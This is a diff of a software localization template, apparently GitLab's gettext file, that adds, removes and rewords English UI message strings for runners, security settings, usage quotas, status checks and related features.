@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
